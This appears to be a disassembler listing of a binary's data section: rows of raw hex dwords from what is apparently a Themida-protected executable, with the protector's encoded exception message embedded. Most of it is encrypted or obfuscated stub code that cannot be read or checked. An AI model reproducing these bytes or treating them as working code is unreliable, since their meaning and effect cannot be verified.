		dd 6607A81Bh, 40E9C88Bh, 6A000006h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0DD3EC351h
		dd 9FAFDE55h, 0B0AC8C1Ch, 1399BD8Bh, 9D8907A8h,	7A81871h
		dd 0FBFFB58Dh, 0CF8107AAh, 5FEEAFC9h, 0A9F4858Dh, 8B6607AAh
		dd 0E8D0FFCFh, 0Bh, 5E8B01D3h, 969EC3F7h, 818FC376h, 0D48C95F7h
		dd 6A5A49h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ch,	23C35040h, 2D930AAFh, 209F7F4h,	1DDD9523h, 95FF07A8h
		dd 7A80A3Dh, 9E8h, 8A7F600h, 0C59A864h,	81665909h, 5F96F2E1h
		dd 0E852F38Bh, 13h, 3678D6E0h, 1E267A05h, 0B2130FCDh, 6E1C211Eh
		dd 811370E4h, 0CC4950E7h, 8D5F5A4Fh, 0AAA9F485h, 79852907h
		dd 0FF07A825h, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F0F6026h, 68Fh, 8FF78100h
		dd 6A60F62Ch, 3D95FF00h, 8B07A80Ah, 6AC08BCBh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0CF1AC353h, 0BD8B826Ch, 7A80815h, 406847B9h,	0F9BD8347h
		dd 7A827h, 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h
		dd 7D9h, 25858589h, 9D8D07A8h, 7AAB023h, 585BD3FFh, 605BD83h
		dd 740007A8h, 0B8535017h, 7D9h,	25858589h, 9D8D07A8h, 7AAAD12h
		dd 585BD3FFh, 0F1E08BFh, 5AF5504Fh, 8D895660h, 7A81725h
		dd 45958959h, 6107A82Fh, 0CB8BC08Bh, 75BD8950h,	5607A800h
		dd 0E2C8E8BAh, 0D88B5965h, 0AE18589h, 8D0B07A8h, 7A81535h
		dd 0D59D8D53h, 8B07A822h, 8B038903h, 43895043h,	0E39D8D50h
		dd 8B07AB03h, 5B038903h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 71C35747h, 0E981CEB3h, 803ABF6h, 8BF98B66h
		dd 0A833398Dh, 0BF006A07h, 19073FD5h, 3E3858Dh,	8F0F07ABh
		dd 0Ch,	6830Fh,	0BD2B0000h, 7A81349h, 15858950h, 6A07A811h
		dd 52006A60h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 1BBD501Ah, 7E8DFh, 699F0000h, 0A9EB6847h
		dd 619589BCh, 5F07A82Ah, 9E18D89h, 858D07A8h, 7A822D5h
		dd 0E8F0Fh, 7E80000h, 93000000h, 0C28E4125h, 5FF94CA5h
		dd 11BD8B50h, 6A07A80Ah, 6AFC00h, 359509h, 6807A8h, 53000018h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A7C35545h
		dd 0D04EE4ECh, 6B3BF6B0h, 152595FFh, 820F07A8h,	2, 95FFF98Bh
		dd 7A80B39h, 44AB5FFh, 6A07ABh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 8BB5A5C3h, 8BF94B02h
		dd 0A807B58Dh, 9995FF07h, 6A07A81Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0BE87C350h
		dd 0B240F87Eh, 35B589BDh, 8D07A813h, 0A822D585h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 83F64808h, 408BD78Bh, 952B6018h, 7A81445h, 93D8D8Bh
		dd 0C76107A8h, 0A800B585h, 7, 198D3300h, 8307A819h, 0A8294DBDh
		dd 840F0007h, 69h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0C1C35242h, 56D3BA0h,	951F5EFh, 0A8311D85h
		dd 8C3D5A07h, 0F000000h, 1CE83h, 80D18100h, 0E94CE5ADh
		dd 63h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh
		dd 11C35242h, 2EACE293h, 81B5CD1Ch, 57581DEFh, 983D1Ah
		dd 830F0000h, 18Fh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0BFC35747h, 26155461h, 2913D067h, 0A81971BDh
		dd 75958B07h, 8D07A82Ah, 5B243B85h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0FF41841Ah
		dd 0C7BA479Bh, 0CBB70F91h, 9D09D0FFh, 7A82169h,	1E8E858Dh
		dd 0F7B5005Bh, 0BD89D0FFh, 7A819B5h, 8B66C08Bh,	0F9BD83D0h
		dd 7A827h, 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h
		dd 0BC6h, 25858589h, 9D8D07A8h,	7AAB023h, 585BD3FFh, 605BD83h
		dd 740007A8h, 0B8535017h, 0BC6h, 25858589h, 9D8D07A8h
		dd 7AAAD12h, 585BD3FFh,	0B1DA8166h, 14BF661Ch, 0E9C08BFCh
		dd 6, 0C073AA7Ah, 0B5895269h, 7A82B09h,	0FFFF883h, 6885h
		dd 0C763B200h, 0A8142D85h, 7, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 5F0C470Dh
		dd 0F8BC87Ah, 686h, 0C18D8900h,	0E907A804h, 104h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 70C35343h, 462994ACh
		dd 36E91Eh, 8B660000h, 1F883CBh, 2A850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 2C33E5C3h, 0D1E9BEh,	9D890000h, 7A826E9h, 0FFF170E9h
		dd 20DF81FFh, 8B0A17F1h, 59D89C0h, 8307A82Dh, 0A827F9BDh
		dd 9750007h, 605BD83h, 740007A8h, 8B535019h, 7DDB8C0h
		dd 85890000h, 7A82585h,	0B0239D8Dh, 0D3FF07AAh,	0BD83585Bh
		dd 7A80605h, 50177400h,	7DDB853h, 85890000h, 7A82585h
		dd 0AD129D8Dh, 0D3FF07AAh, 8E8585Bh, 0E2000000h, 0E3680FFCh
		dd 8B96F32Ah, 9E95FC8h,	8F000000h, 4D34EDA1h, 231A5D0Ch
		dd 0BE9C08Bh, 0E1000000h, 0F8FE606Fh, 633784C0h, 85899735h
		dd 7A82195h, 235E9h, 9810F00h, 0F000000h, 38Ah,	0D68B6600h
		dd 1E7858Dh, 9D8907ABh,	7A8353Dh, 3DF8589h, 8D2907ABh
		dd 7A82FADh, 4BE9h, 85B58900h, 8D07A834h, 0AAFFEF85h, 31958B07h
		dd 4007A80Fh, 0CE9h, 706EF000h,	372EA93Dh, 7DB6035Dh, 0DF8589F8h
		dd 6007AB03h, 4959D01h,	11E807A8h, 3E000000h, 90A6D696h
		dd 4A05C6B1h, 0A31C0469h, 0D7206F21h, 61588EB3h, 858D346Ah
		dd 7A80945h, 0DFB5FF50h, 6A07AB03h, 0AD95FF00h,	8307A829h
		dd 840F07F8h, 168h, 0F6DB8C66h,	850F04C3h, 102h, 61985C6h
		dd 685607A8h, 9CA8B852h, 1895B5FFh, 858D07A8h, 7A83BDFh
		dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 0AB045285h
		dd 1985C607h, 4707A806h, 18AC9B68h, 95B5FFECh, 8D07A818h
		dd 0A83BDF85h, 0FFD0FF07h, 0C6F08BD0h, 0A8061985h, 61684F07h
		dd 0FFC62F26h, 0A80379B5h, 0DF858D07h, 0FF07A83Bh, 4E9D8DD0h
		dd 5307AB04h, 0FF56286Ah, 75C085D0h, 1985C600h,	4107A806h
		dd 87649868h, 79B5FFDBh, 8D07A803h, 0A83BDF85h,	89D0FF07h
		dd 0AB046B85h, 1985C607h, 4C07A806h, 0A4E7A468h, 79B5FF80h
		dd 8D07A803h, 0A83BDF85h, 8BD0FF07h, 0AB04529Dh, 45B8D07h
		dd 579D8D53h, 5307AB04h, 0D0FF006Ah, 4529D8Bh, 3C707ABh
		dd 1, 20C43C7h,	8B000000h, 0A81DC99Dh, 1D85C707h, 7A828h
		dd 6A000000h, 6A006A00h, 529D8B00h, 5307AB04h, 0B5FF006Ah
		dd 7AB044Eh, 46B95FFh, 85C607ABh, 7A80619h, 0F7976845h
		dd 0B5FF92A5h, 7A81E35h, 3BDF858Dh, 0D0FF07A8h,	26A006Ah
		dd 8C66D0FFh, 4C3F6DBh,	9D8B3275h, 7AB0452h, 0C43C7h, 6A000000h
		dd 8B006A00h, 0AB04529Dh, 6A5307h, 44EB5FFh, 95FF07ABh
		dd 7AB046Bh, 44EB5FFh, 95FF07ABh, 7A80B39h, 95FF006Ah
		dd 7A80A3Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0C8C35343h, 9E9BCh, 0A4060000h,	33624131h, 0F7D7823h
		dd 858DCABFh, 7AB3785h,	5085C180h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 1FC35545h, 40A54E33h, 5443F459h
		dd 35FF643Fh, 0
		dd 171D9589h, 816607A8h, 64CBE9F7h, 2589h, 8B660000h, 0AE9D6h
		dd 362D0000h, 0BD2366A0h, 761E017Ch, 7CDBD83h, 0F0007A8h
		dd 3984h, 0FD9D8900h, 8307A80Ch, 0A806A5BDh, 850F0107h
		dd 26h,	5D8D3150h, 5A07A82Fh, 86BBD80h,	0F0007ABh, 1185h
		dd 0B1BD0100h, 0E907A826h, 162h, 0EA1BD89h, 0DB3307A8h
		dd 2DE59D89h, 0C03307A8h, 9810Fh, 850F0000h, 3,	40D68B66h
		dd 0B073F0Fh, 58F64h, 83000000h, 0BD8B04C4h, 7A819BDh
		dd 212DBD8Bh, 0FB8307A8h, 11840FFFh, 89000000h,	0A81D398Dh
		dd 10AE907h, 8D290000h,	7A825A9h, 57E9h, 0D7816600h, 4C8B471Ah
		dd 81C70C24h, 0A4h, 0FFFFFFFFh,	0B88183h, 33040000h, 5C8BC3C0h
		dd 0E8550C24h, 0
aBaz7lLg	db ']í§7«',7,'‹ƒ¸',0
		align 4
		dd 89858D00h, 8907AB38h, 0B883h, 0C0335D00h, 0DA8160C3h
		dd 72AA4904h, 2471BD89h, 666107A8h, 84F7F281h, 379D858Dh
		dd 6A07ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0DBD2F2C3h, 507AF930h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 9FC35343h, 998A9437h, 322EAA17h
		dd 68E0Fh, 0BD890000h, 7A82D49h, 35FF64h, 9000000h, 0A826319Dh
		dd 25896407h, 0
		dd 68B0F60h, 9000000h, 0A81CBD8Dh, 1D850B07h, 6107A829h
		dd 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h
		dd 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh
		dd 2AD185C7h, 107A8h, 8F640000h, 5, 4C48300h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 11C35141h, 0B70F8116h
		dd 6880FF8h, 89000000h,	0A80815B5h, 0FC08B07h, 58Eh, 72A6BF00h
		dd 0BD8331A2h, 7A827F9h, 83097500h, 0A80605BDh,	19740007h
		dd 0C08B5350h, 43DB8h, 0CD858900h, 8D07A80Eh, 0AAB08A9Dh
		dd 5BD3FF07h, 5BD8358h,	7A806h,	53501774h, 43DB8h, 0CD858900h
		dd 8D07A80Eh, 0AAAD2B9Dh, 5BD3FF07h, 0E18D0B58h, 0F07A80Bh
		dd 0C08BD3B7h, 147E9h, 400h, 392E3100h,	3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2975BD83h, 0F0007A8h
		dd 12D84h, 42858D00h, 5007AAABh, 0AAAC858Dh, 685007AAh
		dd 80000001h, 0AB5295FFh, 858D07AAh, 7AB3928h, 32858D50h
		dd 5007AB39h, 6A006Ah, 0AAC0858Dh, 0FF5007AAh, 0AAAB42B5h
		dd 6595FF07h, 8D07A81Dh, 0AB392885h, 858D5007h,	7AB3936h
		dd 6A006A50h, 0D2858D00h, 5007AAAAh, 0AB42B5FFh, 95FF07AAh
		dd 7A81D65h, 3928858Dh,	8D5007ABh, 0AB394285h, 6A5007h
		dd 858D006Ah, 7AAAB1Fh,	42B5FF50h, 0FF07AAABh, 0A81D6595h
		dd 28858D07h, 5007AB39h, 394A858Dh, 6A5007ABh, 8D006A00h
		dd 0AAAB3D85h, 0B5FF5007h, 7AAAB42h, 1D6595FFh,	858D07A8h
		dd 7AB3928h, 46858D50h,	5007AB39h, 6A006Ah, 0AB26858Dh
		dd 0FF5007AAh, 0AAAB42B5h, 6595FF07h, 8D07A81Dh, 0AB392885h
		dd 858D5007h, 7AB393Ah,	6A006A50h, 2E858D00h, 5007AAABh
		dd 0AB42B5FFh, 95FF07AAh, 7A81D65h, 3928858Dh, 8D5007ABh
		dd 0AB393E85h, 6A5007h,	858D006Ah, 7AAAB35h, 42B5FF50h
		dd 0FF07AAABh, 0A81D6595h, 42B5FF07h, 0FF07AAABh, 0A827C595h
		dd 0A2E907h, 0BD830000h, 7A829E1h, 95840F00h, 83000000h
		dd 0A806A5BDh, 850F0007h, 11h, 25C1958Bh, 0C28107A8h, 1CF8h
		dd 0FE9h, 0D5958D00h, 8B07A822h, 0C2813452h, 3BD4C340h
		dd 2F559589h, 0BD8307A8h, 7A82F55h, 55840F00h, 8B000000h
		dd 0A82F559Dh, 4CC38307h, 8589038Bh, 7AB3932h, 2F559D8Bh
		dd 0C38307A8h, 89038B50h, 0AB393685h, 559D8B07h, 8307A82Fh
		dd 38B54C3h, 39428589h,	9D8B07ABh, 7A82F55h, 8B58C383h
		dd 46858903h, 8B07AB39h, 0A82F559Dh, 5CC38307h,	8589038Bh
		dd 7AB393Ah, 2975BD83h,	0F0007A8h, 0D85h, 0E1BD8300h, 7A829h
		dd 68840Fh, 0B5FF0000h,	7AB394Ah, 393EB5FFh, 0B5FF07ABh
		dd 7AB393Ah, 3946B5FFh,	0B5FF07ABh, 7AB3942h, 3936B5FFh
		dd 0B5FF07ABh, 7AB3932h, 392C858Dh, 8D5007ABh, 0AB396485h
		dd 858D5007h, 7A8111Dh,	4195FF50h, 8307A82Fh, 406A24C4h
		dd 394E858Dh, 8D5007ABh, 0A8111D85h, 6A5007h, 29AD95FFh
		dd 16A07A8h, 0A3D95FFh,	0C18B07A8h, 55006A60h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 47699FE2h
		dd 8BA9EB68h, 0F9BD83C0h, 7A827h, 0BD830975h, 7A80605h
		dd 50197400h, 0B8C08B53h, 40Eh,	25858589h, 9D8D07A8h, 7AAB023h
		dd 585BD3FFh, 605BD83h,	740007A8h, 0B8535017h, 40Eh, 25858589h
		dd 9D8D07A8h, 7AAAD12h,	585BD3FFh, 6E9h, 0C3EA2D00h, 8179A163h
		dd 8996DFC9h, 6AC08B57h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 3A2C355h, 9042F14Dh
		dd 12E9EE9Dh, 0BD83AEB2h, 7A807CDh, 17840F00h, 8B000000h
		dd 860F60CAh, 2, 5B52FA8Ah, 272E961h, 0BA660000h, 0DF8C2F5Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E7C35545h
		dd 6B748A71h, 0F7669037h, 0F0004C7h, 23F85h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0C2C37BA6h, 0BD835E50h, 7A8294Dh, 2B850F00h,	80000000h
		dd 9E928EAh, 6A000002h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F596C355h,	114E281h
		dd 0FF2B3D06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	22C35141h, 16A93595h, 0DA8CBA66h, 3FE19D8Dh, 6A07ABh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 7BF80FC3h, 0F856456Dh, 800F505Eh, 8,	8D0F57h, 5A000000h
		dd 81241C89h, 7A025BC9h, 0E6E9815Ch, 6407A655h,	35FFh
		dd 0CE80000h, 2000000h,	0E87CAEDFh, 4F2F2599h, 66F569FDh
		dd 59EDD8BEh, 91C28166h, 25896483h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 86C35545h
		dd 0EFB5DCEEh, 0E8B0Fh,	9E90000h, 0B9000000h, 949DA60Dh
		dd 22F9C858h, 6AC48Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 1CD48C3h, 6A00EBh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0AD8528C3h
		dd 49F27C38h, 0B70FB228h, 9DB966D1h, 7540B90Ch,	0BF0F26C9h
		dd 58F64D7h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 6C35040h
		dd 66619281h, 6629B1BAh, 0C483D78Bh, 0B5CE8104h, 0B130F05h
		dd 89840FC0h, 0F8000000h, 56006A61h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 93401FDAh
		dd 81661823h, 8DCF06C9h, 0A871FBBDh, 0B8CA8B07h, 1, 0E7FFD78Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 22C35141h
		dd 3D4ED41h, 0CAB96657h, 8B575E0Fh, 8B10245Ch, 0B883h
		dd 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 6605C680h, 36E0E281h, 50006A61h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 3A252230h
		dd 0F5CAA36Fh, 6AC08Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0B97E60C3h, 32EC2138h, 27F9BD83h
		dd 750007A8h, 5BD8309h,	7A806h,	53501974h, 0EB8C08Bh, 89000004h
		dd 0A80ECD85h, 8A9D8D07h, 0FF07AAB0h, 83585BD3h, 0A80605BDh
		dd 17740007h, 0EB85350h, 89000004h, 0A80ECD85h,	2B9D8D07h
		dd 0FF07AAADh, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 7B58C356h, 6E9h, 5D3A0300h
		dd 80AF6168h, 0C08B46DDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0DAC35343h, 5356C566h, 0C28B595Eh, 7E8h
		dd 0E38BB400h, 0BC55CB5Fh, 0AE9h, 33B97200h, 35C4FDA0h
		dd 5A8EAC42h, 28C0Fh, 0DF8B0000h, 6974C281h, 12E90000h
		dd 6000000h, 3287053h, 1B327493h, 0A047711Ah, 7FD36481h
		dd 0B9ACh, 8B660000h, 0A048BD8h, 14E9h,	0C6FB5D00h, 7673403Fh
		dd 0F741CCC6h, 6E64964Ch, 857E155Ch, 4BE88123h,	0F51EB68h
		dd 285h, 81FC8A00h, 0D25F65C0h,	0DECB811Ch, 811577DAh
		dd 89DA92E8h, 11E82Bh, 35470000h, 0A2E2E1E3h, 76853BEh
		dd 215A2A18h, 5B5E9D00h, 600A0489h, 3EECD181h, 8A500CDAh
		dd 0E8615BD1h, 0Bh, 359522C0h, 4D8916A9h, 6075C08Fh, 0BF66D18Bh
		dd 5F617FD1h, 8104E983h, 0FF9758F9h, 76850FFFh,	0B7FFFFFFh
		dd 1718EB5Ah, 9B46F3h, 4 dup(0)
		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 0AB41EDEDh
		dd 4C26107h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 7AB4225h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 7AB4229h
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 55858B00h, 8607A82Fh
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 7A81AF5h, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 55858B00h, 0C607A82Fh, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0A82F5585h, 0A188607h
		dd 0F6850FDBh, 0C7FFFFFFh, 0A8150D85h, 7, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 7A8150Dh
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 7AB41CAh, 1
		dd 4C010F50h, 858FFE24h, 7AB41CEh, 41C6858Dh, 0BD8D07ABh
		dd 7AB41CEh, 23E93889h,	8D000000h, 0A822D585h, 38408B07h
		dd 46F31705h, 0C685899Bh, 8D07AB41h, 0A822D585h, 3C408B07h
		dd 41CA8589h, 858D07ABh, 7AB41E3h, 1AF58589h, 87E907A8h
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 7AB4456h
		dd 30B98589h, 858D07A8h, 7AB447Eh, 0E158589h, 858D07A8h
		dd 7AB44A6h, 1CC18589h,	8EB07A8h, 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 6A5858Bh, 858D07A8h
		dd 7AB90DBh, 888B088Bh,	1000h, 8B660A8Bh, 8D89FC4Ah, 7AB4507h
		dd 294DBD83h, 0F0007A8h, 0F84h,	6A6000h, 0D2195FFh, 0E96107A8h
		dd 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h, 895A04CDh
		dd 0AB450385h, 7B58B07h, 0C107AB45h, 896610CEh,	0B58B0272h
		dd 7AB4507h, 0FC728966h, 3858B61h, 0C307AB45h, 1589958Dh
		dd 958907A8h, 7A82F55h,	29819589h, 85FF07A8h, 7A82981h
		dd 61985C6h, 685307A8h,	0FCB148D8h, 1895B5FFh, 858D07A8h
		dd 7A83BDFh, 8589D0FFh,	7A80D21h, 41FD858Dh, 858907ABh
		dd 7A8060Dh, 20EBh, 7 dup(0)
		dd 0A2E90000h, 0E9000005h, 596h, 0AB47A768h
dword_5B5A68	dd 39ADE907h, 5868FFFDh, 0E907AB48h, 0FFFD39A3h, 0AB49FE68h
					; DATA XREF: Themida_:0059A73Bo
		dd 3999E907h, 7C68FFFDh, 0E907AB4Ah, 0FFFD398Fh, 0CFE4F3A4h
		dd 0C2136E6h, 4D627523h, 8CA1B664h, 0D2E7F0A3h,	0FDA005C4h
		dd 3DDCC5DAh, 7F1C051Ah, 0B85A4358h, 0BAA8A9Fh,	0AE2A8FC5h
		dd 4DFB95CBh, 3B0611C7h, 0E9CA80A2h, 0FCE56792h, 587480B6h
		dd 5E7F86D3h, 73F52B71h, 0F4FBD358h, 74B2ECDCh,	0B4CD5358h
		dd 0F8D59D49h, 2D2C9BA8h, 2A000000h, 597081BAh,	1D2648D3h
		dd 0E09CECBh, 0AABC7643h, 4FF30B63h, 0DB210EC6h, 0DB04388Eh
		dd 0C854F494h, 0D0996F1Ch, 24569AAFh, 98000000h, 597080BAh
		dd 0B1B5A2D3h, 5A27F2E5h, 0B9064C39h, 80DB04B6h, 4FB69E5Eh
		dd 0DDD28C8Bh, 66263ED5h, 0AB5E4A5Fh, 0E6B1A672h, 84934819h
		dd 0F1D4ECB9h, 0DB653027h, 535970A0h, 0AC3BA6B7h, 2CD6EBECh
		dd 7A9D3D25h, 0D4C1E2AFh, 5980548Eh, 66535A53h,	8095CB11h
		dd 949B5359h, 70229F7Ch, 27F2E5B7h, 0F1276D5Ah,	0F753597Fh
		dd 10BACFF0h, 8DE2CF07h, 0BCFC8254h, 2D85840Fh,	61FAC5E6h
		dd 59BCE51Bh, 0C3E4EB53h, 673225F2h, 0FD92829Ah, 35B01C3h
		dd 439831FCh, 0C472A8EEh, 71785B01h, 1C45D93h, 445C635Bh
		dd 1C41A54h, 0B11C355Bh, 0F0514D05h, 0A078B163h, 651FECB7h
		dd 0DC115049h, 9253DC9h, 6Fh, 15110607h, 46335443h, 4B5D600h
		dd 0E8D5DCDBh, 0FBE8EFAFh, 3A0512C2h, 292E556Dh, 0B5588ED4h
		dd 575EDB04h, 9DBA5C3Fh, 0E1EA93A5h, 0B1891EF4h, 32Ah
		dd 43587F20h, 889DBA5Ah, 0C9DEF99Fh, 81D3AE0h, 465B7C1Fh
		dd 41149138h, 81584156h, 0C3988196h, 4D6BFD4h, 7F1EFE13h
		dd 0AE290339h, 0C16F09CBh, 2F56Ch, 0BA5C9500h, 0C79F859Dh
		dd 0B13B0611h, 0D3597077h, 5970934Dh, 703269D3h, 0C0F9D359h
		dd 0F3E3FB1Ch, 0D35970B9h, 5970558Fh, 6FF12BD3h, 96B89359h
		dd 97DD4548h, 9358D461h, 0D8A66067h, 7D2139C5h,	0FA4F3C98h
		dd 250314C1h, 935953EFh, 0D7D6EEF5h, 44DD091h, 4CFD69Bh
		dd 0C69A496Bh, 53DDF262h, 56BE973Bh, 3DDB1469h,	0CD12021Ah
		dd 0D3A2AC90h, 0B1CED4CCh, 34C93C19h, 2795Ch, 0A9AE6F00h
		dd 0EEE9AB94h, 2F28F0D9h, 7265311Ah, 0B6A1745Dh, 6F3693A1h
		dd 0AD96ABACh, 0EFD8EDEAh, 2F182D2Ah, 7353686Fh, 28588ED4h
		dd 0C45ECBAEh, 0A072AB16h, 0A86FECB7h, 93768EAFh, 0CB09D4C3h
		dd 579D8A4Ah, 0DB04B5EEh, 0EFD8EDF4h, 8412E29h,	0C74FAE50h
		dd 1E4ABD17h, 4D6532FDh, 7C9B3D26h, 32E273B1h, 1F9EFF45h
		dd 9DA4E2B0h, 1F589288h, 9D7AE2B0h, 0A1064C39h,	0A7EA5B65h
		dd 0D87AB3A0h, 83A5AABFh, 0FA7DEAB5h, 60435B7Dh, 44CE99BEh
		dd 0EA5B0C1Ah, 0C862DB3Ch, 1EB590FAh, 0C208F516h, 0F205F371h
		dd 2E837077h, 0F35D93D9h, 5C63F205h, 0F6B16144h, 0BCDB8027h
		dd 4903D09Bh, 3015674Dh, 5B7091F4h, 0CAB7A072h,	82F92F75h
		dd 2CFFF205h, 583B0E6h,	8EAFB6F2h, 0E50F9976h, 7F20583h
